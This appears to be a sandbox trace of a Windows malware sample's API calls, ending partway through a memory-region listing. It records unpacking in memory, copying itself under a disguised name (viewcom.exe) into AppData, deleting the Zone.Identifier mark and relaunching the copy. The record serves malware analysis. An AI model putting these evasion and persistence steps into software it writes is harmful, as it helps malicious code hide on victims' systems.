[0057.816] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.816] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.816] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.816] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.816] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.816] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.816] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.816] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.816] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.816] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.816] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.816] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.816] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.816] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.816] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.816] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.816] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.816] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.817] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.817] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.817] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.817] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.817] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.817] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.817] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.817] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.817] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.817] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.817] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.817] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.817] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.817] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.817] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.817] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.817] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.817] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.817] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.817] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.817] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.818] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.818] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.818] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.818] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.818] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.818] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.818] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.818] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.818] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.818] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.818] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.818] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.818] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.818] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.818] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.818] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.818] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.818] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.818] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.818] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.818] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.819] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.819] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.819] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.819] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.819] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.819] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.819] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.819] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.819] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.819] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.819] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.819] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.819] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.819] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.819] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.819] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.819] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.819] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.819] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.819] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.819] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.819] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.820] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.820] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.820] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.820] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.820] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.820] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.820] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.820] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.820] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.820] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.820] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.820] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.820] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.820] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.820] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.820] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.820] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.820] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.820] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.820] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.820] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.820] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.820] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.821] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.821] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.821] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.821] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.821] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.821] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.821] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.821] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.821] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.869] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x6f600000
[0057.869] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0057.869] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x771e0000
[0057.869] VirtualAlloc (lpAddress=0x0, dwSize=0xd000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e0000
[0057.870] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76350000
[0057.870] GetProcAddress (hModule=0x76350000, lpProcName="WTSGetActiveConsoleSessionId") returned 0x7638480b
[0057.871] FreeConsole () returned 0
[0057.871] VirtualProtect (in: lpAddress=0x1e1000, dwSize=0x885f, flNewProtect=0x20, lpflOldProtect=0x12fd90 | out: lpflOldProtect=0x12fd90*=0x4) returned 1
[0057.871] VirtualProtect (in: lpAddress=0x1ea000, dwSize=0xb12, flNewProtect=0x2, lpflOldProtect=0x12fd90 | out: lpflOldProtect=0x12fd90*=0x4) returned 1
[0057.871] VirtualProtect (in: lpAddress=0x1eb000, dwSize=0xbd8, flNewProtect=0x4, lpflOldProtect=0x12fd90 | out: lpflOldProtect=0x12fd90*=0x4) returned 1
[0057.871] VirtualProtect (in: lpAddress=0x1ec000, dwSize=0x4d8, flNewProtect=0x2, lpflOldProtect=0x12fd90 | out: lpflOldProtect=0x12fd90*=0x4) returned 1
[0057.871] VirtualProtect (in: lpAddress=0x1e0000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0x12fd90 | out: lpflOldProtect=0x12fd90*=0x4) returned 1
[0059.708] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x12fc18, nSize=0x104 | out: lpFilename="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\38763.exe" (normalized: "c:\\users\\atveyd~1\\appdata\\local\\temp\\38763.exe")) returned 0x2e
[0059.709] _snwprintf (in: _Dest=0x12fe20, _Count=0x40, _Format="E%X" | out: _Dest="EF6003E70") returned 9
[0059.709] _snwprintf (in: _Dest=0x12fea0, _Count=0x40, _Format="M%X" | out: _Dest="MF6003E70") returned 9
[0059.709] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName="EF6003E70") returned 0xbc
[0059.709] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=1, lpName="MF6003E70") returned 0xc0
[0059.709] GetLastError () returned 0xb7
[0059.709] SetEvent (hEvent=0xbc) returned 1
[0059.711] CloseHandle (hObject=0xbc) returned 1
[0059.711] CloseHandle (hObject=0xc0) returned 1
[0059.711] LoadLibraryW (lpLibFileName="advapi32.dll") returned 0x76030000
[0059.711] LoadLibraryW (lpLibFileName="ole32.dll") returned 0x77460000
[0059.711] LoadLibraryW (lpLibFileName="shell32.dll") returned 0x764f0000
[0059.714] LoadLibraryW (lpLibFileName="crypt32.dll") returned 0x757b0000
[0059.714] LoadLibraryW (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0059.714] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x74dc0000
[0059.720] LoadLibraryW (lpLibFileName="wininet.dll") returned 0x771e0000
[0059.720] LoadLibraryW (lpLibFileName="wtsapi32.dll") returned 0x741a0000
[0059.722] GetWindowsDirectoryW (in: lpBuffer=0x12f9f8, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa
[0059.722] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x1eb27c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x1eb27c*=0x40f77a1b, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
[0059.722] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1eb9c8, nSize=0x104 | out: lpFilename="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\38763.exe" (normalized: "c:\\users\\atveyd~1\\appdata\\local\\temp\\38763.exe")) returned 0x2e
[0059.722] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x6) returned 0x0
[0059.727] lstrlenA (lpString="agent,app,audio,bio,bits,cache,card,cart,cert,com,crypt,dcom,defrag,device,dhcp,dns,event,evt,flt,gdi,group,help,home,host,info,iso,launch,log,logon,lookup,man,math,mgmt,msi,ncb,net,nv,nvidia,proc,prop,prov,provider,reg,rpc,screen,search,sec,server,service,shed,shedule,spec,srv,storage,svc,sys,system,task,time,video,view,win,window,wlan,wmi") returned 342
[0059.728] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x1eb5b8 | out: pszPath="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned 0x0
[0059.729] _snwprintf (in: _Dest=0x1eb5b8, _Count=0x104, _Format="%s\\Microsoft\\Windows" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows") returned 51
[0059.729] _snwprintf (in: _Dest=0x1eb7c0, _Count=0x104, _Format="%s\\%s.exe" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe") returned 63
[0059.729] CreateFileW (lpFileName="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\38763.exe" (normalized: "c:\\users\\atveyd~1\\appdata\\local\\temp\\38763.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf4
[0059.729] CreateFileMappingW (hFile=0xf4, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0xf0
[0059.730] MapViewOfFile (hFileMappingObject=0xf0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x210000
[0059.730] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x15000
[0059.730] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x210000, Length=0x15000) returned 0x751c40d2
[0059.731] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
[0059.732] CloseHandle (hObject=0xf0) returned 1
[0059.732] CloseHandle (hObject=0xf4) returned 1
[0059.732] GetComputerNameW (in: lpBuffer=0x12f9c8, nSize=0x12f9ec | out: lpBuffer="ZJEWV7F", nSize=0x12f9ec) returned 1
[0059.732] _snprintf (in: _Dest=0x1eb2a8, _Count=0x104, _Format="%S_%08X" | out: _Dest="ZJEWV7F_40F77A1B") returned 16
[0059.732] _snwprintf (in: _Dest=0x12f968, _Count=0x40, _Format="Global\\I%X" | out: _Dest="Global\\I40F77A1B") returned 16
[0059.732] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\I40F77A1B") returned 0xf4
[0059.732] WaitForSingleObject (hHandle=0xf4, dwMilliseconds=0x0) returned 0x0
[0059.732] _snwprintf (in: _Dest=0x12f868, _Count=0x40, _Format="Global\\E%X" | out: _Dest="Global\\E40F77A1B") returned 16
[0059.732] _snwprintf (in: _Dest=0x12f8e8, _Count=0x40, _Format="Global\\M%X" | out: _Dest="Global\\M40F77A1B") returned 16
[0059.732] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\M40F77A1B") returned 0xf0
[0059.733] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="Global\\E40F77A1B") returned 0xf8
[0059.733] SignalObjectAndWait (hObjectToSignal=0xf8, hObjectToWaitOn=0xf0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0
[0059.733] ResetEvent (hEvent=0xf8) returned 1
[0059.733] ReleaseMutex (hMutex=0xf4) returned 1
[0059.733] CloseHandle (hObject=0xf4) returned 1
[0059.733] GetTickCount () returned 0x15a20
[0059.733] CreateTimerQueueTimer (in: phNewTimer=0x12f9e8, TimerQueue=0x0, Callback=0x1e8310, Parameter=0x0, DueTime=0x3e8, Period=0x3e8, Flags=0x10 | out: phNewTimer=0x12f9e8*=0x2d4060) returned 1
[0059.733] WaitForSingleObject (hHandle=0xf8, dwMilliseconds=0xffffffff) returned 0x0
[0061.925] DeleteTimerQueueTimer (TimerQueue=0x0, Timer=0x2d4060, CompletionEvent=0xffffffff) returned 1
[0061.925] CloseHandle (hObject=0xf8) returned 1
[0061.925] CryptDestroyHash (hHash=0x0) returned 0
[0061.932] CryptDestroyKey (hKey=0x0) returned 0
[0061.932] CryptDestroyKey (hKey=0x0) returned 0
[0061.932] CryptReleaseContext (hProv=0x0, dwFlags=0x0) returned 0
[0061.932] ExitProcess (uExitCode=0x0)
Thread:
id = 41
os_tid = 0xb7c
Thread:
id = 42
os_tid = 0xb80
[0060.745] GetTickCount () returned 0x15e16
Thread:
id = 43
os_tid = 0xb84
[0061.742] GetTickCount () returned 0x161fc
[0061.742] lstrcmpiW (lpString1="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\38763.exe", lpString2="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe") returned -1
[0061.742] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x10016
[0061.743] GetFileAttributesW (lpFileName="C:\\Users\\" (normalized: "c:\\users")) returned 0x11
[0061.743] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\" (normalized: "c:\\users\\atveydl98z")) returned 0x10
[0061.743] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\" (normalized: "c:\\users\\atveydl98z\\appdata")) returned 0x2012
[0061.743] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\" (normalized: "c:\\users\\atveydl98z\\appdata\\local")) returned 0x2010
[0061.743] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft")) returned 0x2010
[0061.743] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows")) returned 0x2010
[0061.743] SHFileOperationW (in: lpFileOp=0x17cfd1c*(hwnd=0x0, wFunc=0x1, pFrom="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\38763.exe" (normalized: "c:\\users\\atveyd~1\\appdata\\local\\temp\\38763.exe"), pTo="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\viewcom.exe"), fFlags=0xe14, fAnyOperationsAborted=0, hNameMappings=0x0, lpszProgressTitle=0x0) | out: lpFileOp=0x17cfd1c*(hwnd=0x0, wFunc=0x1, pFrom="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\38763.exe" (normalized: "c:\\users\\atveyd~1\\appdata\\local\\temp\\38763.exe"), pTo="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\viewcom.exe"), fFlags=0xe14, fAnyOperationsAborted=0, hNameMappings=0x0, lpszProgressTitle=0x0)) returned 0
[0061.920] _snwprintf (in: _Dest=0x17cf8ac, _Count=0x104, _Format="%s:Zone.Identifier" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe:Zone.Identifier") returned 79
[0061.920] DeleteFileW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe:Zone.Identifier" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\viewcom.exe:zone.identifier")) returned 0
[0061.920] CreateProcessW (in: lpApplicationName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x17cfcd4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x80, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x17cfd28 | out: lpCommandLine=0x0, lpProcessInformation=0x17cfd28*(hProcess=0x134, hThread=0x130, dwProcessId=0xb8c, dwThreadId=0xb90)) returned 1
[0061.923] CloseHandle (hObject=0x134) returned 1
[0061.923] CloseHandle (hObject=0x130) returned 1
[0061.923] SetEvent (hEvent=0xf8) returned 1
Thread:
id = 44
os_tid = 0xb88
Process:
id = "5"
image_name = "viewcom.exe"
filename = "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\viewcom.exe"
page_root = "0x7f13e360"
os_pid = "0xb8c"
os_integrity_level = "0x2000"
os_privileges = "0x800000"
monitor_reason = "child_process"
parent_id = "4"
os_parent_pid = "0xb74"
cmd_line = "\"C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe\""
cur_dir = "C:\\Users\\ATVeyDl98Z\\Desktop\\"
os_username = "ZJEWV7F\\ATVeyDl98Z"
os_groups = "ZJEWV7F\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f73d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Region:
id = 936
start_va = 0x10000
end_va = 0x2ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000010000"
filename = ""
Region:
id = 937
start_va = 0x30000
end_va = 0x12ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000030000"
filename = ""
Region:
id = 938
start_va = 0x130000
end_va = 0x133fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000130000"
filename = ""
Region:
id = 939
start_va = 0x400000
end_va = 0x415fff
entry_point = 0x401390
region_type = mapped_file
name = "38763.exe"
filename = "\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\38763.exe" (normalized: "c:\\users\\atveyd~1\\appdata\\local\\temp\\38763.exe")
Region:
id = 940
start_va = 0x775c0000
end_va = 0x776fbfff
entry_point = 0x775c0000
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 941
start_va = 0x77800000
end_va = 0x77800fff
entry_point = 0x77800000
region_type = mapped_file
name = "apisetschema.dll"
filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")
Region:
id = 942
start_va = 0x7ffb0000
end_va = 0x7ffd2fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007ffb0000"
filename = ""
Region:
id = 943
start_va = 0x7ffde000
end_va = 0x7ffdefff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffde000"
filename = ""
Region:
id = 944
start_va = 0x7ffdf000
end_va = 0x7ffdffff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdf000"
filename = ""
Region:
id = 945
start_va = 0x10000
end_va = 0x1ffff
entry_point = 0x0
region_type = pagefile_backed
